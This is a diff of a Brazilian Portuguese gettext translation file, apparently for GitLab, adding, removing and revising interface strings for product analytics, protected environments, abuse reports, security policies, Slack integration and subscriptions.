+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "Produtividade"
@@ -31568,7 +32134,7 @@ msgid "Profiles|Connected Accounts"
msgstr "Contas conectadas"
msgid "Profiles|Created%{time_ago}"
-msgstr "Criado há %{time_ago}"
+msgstr "Criado há%{time_ago}"
msgid "Profiles|Current path: %{path}"
msgstr "Caminho atual: %{path}"
@@ -31616,7 +32182,7 @@ msgid "Profiles|Enter your pronouns to let people know how to refer to you."
msgstr "Digite seu pronome para que as pessoas sabiam como preferir a você."
msgid "Profiles|Example: MacBook key"
-msgstr "Exemplo: tecla do MacBook"
+msgstr "Exemplo: Chave do MacBook"
msgid "Profiles|Expiration date"
msgstr "Data de expiração"
@@ -31790,10 +32356,10 @@ msgid "Profiles|Upload new avatar"
msgstr "Enviar novo avatar"
msgid "Profiles|Usage type"
-msgstr ""
+msgstr "Tipo de uso"
msgid "Profiles|Usage type:"
-msgstr ""
+msgstr "Tipo de uso:"
msgid "Profiles|Use a private email - %{email}"
msgstr "Utilize um email privado - %{email}"
@@ -32083,6 +32649,18 @@ msgstr "Mostrar mais"
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
+msgid "ProjectList|Explore"
+msgstr "Explorar"
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr "Tópicos"
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -32302,6 +32880,9 @@ msgstr "Evento de gatilho quando o status de um pipeline é alterado."
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "Evento de gatilho quando uma página da wiki é criada ou atualizada."
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr "Gatilho o evento quando um incidente é criado."
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "Evento de gatilho quando uma issue é criada, atualizada ou fechada."
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr "Configure sua infraestrutura."
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "Configure os recursos do projeto e monitore a saúde deles."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Contate um administrador para alterar essa configuração."
@@ -32551,9 +33129,6 @@ msgstr "Somente commits que incluem um elemento %{code_block_start}Signed-off-by
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Apenas para commits assinados pode-se fazer push para este repositório."
-msgid "ProjectSettings|Operations"
-msgstr "Operações"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr "Sobrepor as preferências de notificação de usuário para todos os membros do projeto."
@@ -32704,12 +33279,12 @@ msgstr "Usado para cada nova solicitação de mesclagem."
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "Usuários podem copiar o repositório para um novo projeto."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
+msgstr "Os usuários só podem enviar commits para este repositório se o nome do autor do commit for consistente com o nome da conta do GitLab."
+
msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr "Os usuários só podem enviar commits para este repositório se o e-mail do committer for um de seus próprios e-mails verificados."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr ""
-
msgid "ProjectSettings|Users can request access"
msgstr "Usuários podem solicitar acesso"
@@ -32839,6 +33414,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33437,7 +34015,7 @@ msgid "ProtectedBranch|Search protected tags"
msgstr "Pesquisar tags protegidas"
msgid "ProtectedBranch|Select tag or create wildcard"
-msgstr "Selecione a tag ou crie um curinga"
+msgstr "Selecionar tag ou criar curinga"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr "Você pode adicionar apenas grupos que tenham este projeto compartilhado
msgid "ProtectedBranch|default"
msgstr "padrão"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr "Permitido para implantar"
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} poderá ser editado por desenvolvedores. Tem certeza disso?"
@@ -33475,6 +34071,9 @@ msgstr "Permitido para implantar"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Ambiente"
@@ -33511,6 +34110,9 @@ msgstr "Aprovações necessárias"
msgid "ProtectedEnvironment|Select an environment"
msgstr "Selecione um ambiente"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Selecionar grupos"
@@ -34241,6 +34843,9 @@ msgstr "Você pode editar o conteúdo posteriormente editando a versão. %{linkS
msgid "Reload page"
msgstr "Atualizar a página"
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Reabrir"
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr "Responder"
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Denunciado em %{timeAgo} por %{reportedBy}"
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr "Executor"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35802,7 +36428,7 @@ msgid "Runners|Select your preferred option here. In the next step, you can choo
msgstr ""
msgid "Runners|Show only inherited"
-msgstr ""
+msgstr "Mostrar apenas herdados"
msgid "Runners|Show runner installation and registration instructions"
msgstr "Mostrar instruções de instalação e registro do executor"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35975,7 +36601,7 @@ msgid "SAML for %{group_name}"
msgstr "SAML para %{group_name}"
msgid "SAML single sign-on"
-msgstr ""
+msgstr "Entrada única SAML"
msgid "SAML single sign-on for %{group_name}"
msgstr ""
@@ -35987,13 +36613,13 @@ msgid "SAML|Sign in to GitLab to connect your organization's account"
msgstr "Entrar no GitLab para conectar a conta da sua organização"
msgid "SAML|The %{strongOpen}%{group_path}%{strongClose} group allows you to sign in using single sign-on."
-msgstr ""
+msgstr "O grupo %{strongOpen}%{group_path}%{strongClose} permite que você entre usando a entrada única."
msgid "SAML|To access %{groupName}, you must sign in using single sign-on through an external sign-in page."
msgstr ""
msgid "SAML|To allow %{strongOpen}%{group_name}%{strongClose} to manage your GitLab account %{strongOpen}%{username}%{strongClose} (%{email}) after you sign in successfully using single sign-on, select %{strongOpen}Authorize%{strongClose}."
-msgstr ""
+msgstr "Para permitir que %{strongOpen}%{group_name}%{strongClose} gerencie sua conta do GitLab %{strongOpen}%{username}%{strongClose} (%{email}) depois de entrar com sucesso usando a entrada única, selecione %{strongOpen}Autorizar%{strongClose}."
msgid "SAML|Your organization's SSO has been connected to your GitLab account"
msgstr "O SSO da sua organização foi conectado à sua conta do GitLab"
@@ -36017,7 +36643,7 @@ msgid "SSH Keys Help"
msgstr "Ajuda de chaves SSH"
msgid "SSH fingerprints verify that the client is connecting to the correct host. Check the %{config_link_start}current instance configuration%{config_link_end}."
-msgstr ""
+msgstr "As impressões digitais SSH verificam se o cliente está se conectando ao host correto. Verifique a configuração%{config_link_end}da instância atual %{config_link_start}."
msgid "SSH host key fingerprints"
msgstr ""
@@ -36053,10 +36679,10 @@ msgid "SSHKey|Authentication"
msgstr "Autenticação"
msgid "SSHKey|Authentication & Signing"
-msgstr ""
+msgstr "Autenticação e Assinatura"
msgid "SSHKey|Signing"
-msgstr ""
+msgstr "Assinatura"
msgid "SSL Verification:"
msgstr "Verificação SSL:"
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr "Selecionar tags (se houver)"
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr "ramificação"
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr "%{ifLabelStart}se%{ifLabelEnd} %{scanners} encontrar mais de %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilidades em uma solicitação de mesclagem aberta visando %{branches}"
@@ -36184,12 +36816,36 @@ msgstr "%{ifLabelStart}se%{ifLabelEnd} %{selector}"
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr "%{thenLabelStart}Então%{thenLabelEnd} Requer aprovação de %{approvalsRequired} dos seguintes aprovadores:"
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr "adicionar um aprovador"
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr "verificações"
@@ -36382,9 +37038,6 @@ msgstr "Procurar projeto"
msgid "Search projects"
msgstr "Pesquisar projetos"
-msgid "Search projects..."
-msgstr "Pesquisar projetos..."
-
msgid "Search protected branches"
msgstr "Pesquisar ramificações protegidas"
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr "Ações"
msgid "SecurityOrchestration|Add action"
msgstr "Adicionar ação"
+msgid "SecurityOrchestration|Add new approver"
+msgstr "Adicionar novo aprovador"
+
msgid "SecurityOrchestration|Add rule"
msgstr "Adicionar regra"
@@ -37052,7 +37717,7 @@ msgstr "Etapa 2: Detalhes da política"
msgid "SecurityOrchestration|Summary"
msgstr "Resumo"
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr "Você ainda não tem nenhuma política de segurança"
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr "ramificações"
msgid "SecurityOrchestration|group level branch"
msgstr "ramificação em nível de grupo"
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr "ou de: %{approverType}%{approvers}"
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr "Todas as ferramentas"
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr "Enviar vulnerabilidade"
-msgid "SecurityReports|Take survey"
-msgstr "Responder pesquisa"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr "O relatório de vulnerabilidade mostra resultados de verificações bem-sucedidas na ramificação padrão do seu projeto, registros de vulnerabilidade adicionados manualmente e vulnerabilidades encontradas na verificação de ambientes operacionais. %{linkStart}Saiba mais.%{linkEnd}"
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr "Pesquisa de funcionalidade de gerenciamento de vulnerabilidades"
-
msgid "SecurityReports|Vulnerability Report"
msgstr "Relatório de vulnerabilidade"
@@ -37505,9 +38167,6 @@ msgstr "Você não tem permissões suficientes para acessar esse relatório"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -37620,7 +38279,7 @@ msgid "Select branch"
msgstr "Selecionar ramificação"
msgid "Select branch or create wildcard"
-msgstr ""
+msgstr "Selecionar ramificação ou criar curinga"
msgid "Select branches"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr "Mostrar navegador de arquivos"
msgid "Show file contents"
msgstr "Mostrar conteúdo do arquivo"
+msgid "Show filters"
+msgstr "Mostrar filtros"
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr "Página de entrada e ajuda"
msgid "Sign-in count:"
msgstr "Contagem de entrada:"
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr "Página de entrada"
@@ -38631,9 +39290,6 @@ msgstr "GitLab for Slack foi instalado com sucesso."
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr "Alias do projeto"
@@ -38664,6 +39320,12 @@ msgstr "Esta integração permite que os usuários realizem operações comuns n
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr "Token de verificação"
@@ -38691,10 +39353,10 @@ msgstr "Preencha a palavra que funciona melhor para sua equipe."
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr "Conecte sua conta do GitLab"
-msgid "Slack|Create a new issue"
-msgstr "Criar uma nova issue"
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr "Ramificação de origem"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr "A ramificação de origem será excluída."
@@ -39414,15 +40076,15 @@ msgstr "Iniciar um %{new_merge_request} a partir dessas alterações"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr "Iniciar uma nova solicitação de mesclagem com essas alterações"
msgid "Start a review"
msgstr "Iniciar uma revisão"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Comece escolhendo um grupo para explorar as solicitações de mesclagem naquele grupo. Você pode então filtrar por projetos, etiquetas, marcos e autores."
@@ -39912,18 +40574,36 @@ msgstr "A contagem de uso é realizada uma vez por dia às 12:00 PM."
msgid "Subscriptions"
msgstr "Inscrições"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr "Fechar"
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr "Nenhum"
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr "Data de início"
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,8 +40841,8 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
-msgstr "Digite o código de ativação"
+msgid "SuperSonics|Customers Portal"
+msgstr ""
msgid "SuperSonics|Export license usage file"
msgstr ""
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr "Gerenciar"
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Terminal"
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "Testes"
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "O relacionamento como fork foi removido."
@@ -41380,6 +42066,9 @@ msgstr "O nome do arquivo de configuração de CI/CD. Um caminho relativo ao dir
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "O nome do projeto Jenkins. Copie o nome do final da URL para o projeto."
+msgid "The new Web IDE"
+msgstr "O novo IDE Web"
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr "O número de alterações a serem buscadas no GitLab ao clonar um repositório. Valores mais baixos podem acelerar a execução do pipeline. Defina como %{code_open}0%{code_close} ou em branco para buscar todas as ramificações e tags para cada tarefa"
@@ -41584,6 +42273,9 @@ msgstr "Não há registros de spam"
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Não há requisitos arquivados"
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Essa %{issuableDisplayName} está bloqueada. Só membros do projeto podem comentar."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr "Essa %{issuable} está oculta porque seu autor foi banido"
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "Essa %{issuable} está bloqueada. Somente os %{strong_open}membros do projeto%{strong_close} podem comentar."
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr "Este commit foi assinado com %{strong_open}múltiplas%{strong_close} assinaturas."
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "Este commit foi assinado com uma assinatura %{strong_open}confirmada%{strong_close} e o e-mail do committer está verificado como pertencente ao mesmo usuário."
msgid "This commit was signed with a different user's verified signature."
msgstr "Este commit foi assinado com uma assinatura verificada de um usuário diferente."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "Este commit foi assinado com uma assinatura %{strong_open}não verificada%{strong_close}."
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr "Esta tarefa não possui rastreamento."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Esta tarefa foi cancelada"
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr "Essa tarefa exige uma ação manual"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
